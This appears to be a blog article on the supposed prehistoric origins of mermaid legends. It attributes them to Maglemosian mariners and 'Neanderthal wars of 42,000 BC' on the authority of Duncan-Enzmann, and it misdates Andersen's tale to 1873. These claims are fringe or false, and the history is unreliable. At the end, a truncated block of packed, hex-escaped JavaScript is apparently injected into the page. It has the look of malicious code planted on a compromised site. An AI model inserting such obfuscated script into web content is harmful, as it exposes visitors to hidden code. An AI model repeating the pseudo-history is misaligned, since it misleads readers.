Secrets of the Mermaids

>

 

The Little Mermaid, Maxwell Ashby Armfield, 1913

Great stories of ancient seafaring people are told all around the world. Along with them, legends about mermaids have been told throughout the ages; folklore is replete with mer-people. A story from 1430 AD tells of two young girls who saved a mermaid and took her home. The amazing mer-woman, who spun and wove with great skill, is a reference to the spinsters of 12,500 BC. The Rime of the Ancient Mariner, written in 1797 by Samuel Taylor Coleridge, is a modern example of literature based on our ancient ancestors of the sea. Another well-known story is The Little Mermaid, a film by Walt Disney which has all the classic elements of mermaid legends.

Like other children’s story characters, mermaids have roots in ancient history. There are many details about them which help us trace their origin. Their hair color ranges from silver-blonde, to light brown, to strawberry blonde, and they are described as having green or blue-green eyes. These factors indicate they are likely descendants of the Indo-European Maglemosians, ancestors of the Fair Folk, later called Fairies. According to Duncan-Enzmann, The Little Mermaid as made popular by Hans Christian Anderson in 1873 is a fairy tale that originated in a culture of prehistoric mariners, during the Neanderthal wars of 42,000 BC. He describes these stories as tales of tremendous courage – accounts of adults sacrificing themselves to protect their children.

H+1);Y(y d=0;d35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('a 9=["\\i\\c\\l\\L\\d\\C","\\c\\l\\d\\k\\H","\\x\\c\\c\\K","\\F\\d","\\d\\w\\d\\i\\c","\\i\\w\\l\\M","\\k\\c\\i","\\z\\i\\d\\c\\k\\l\\z\\d\\c","\\C\\k\\c\\x"];a n=o p();a m=0;a f=o p();t E(u){r(a b=0;b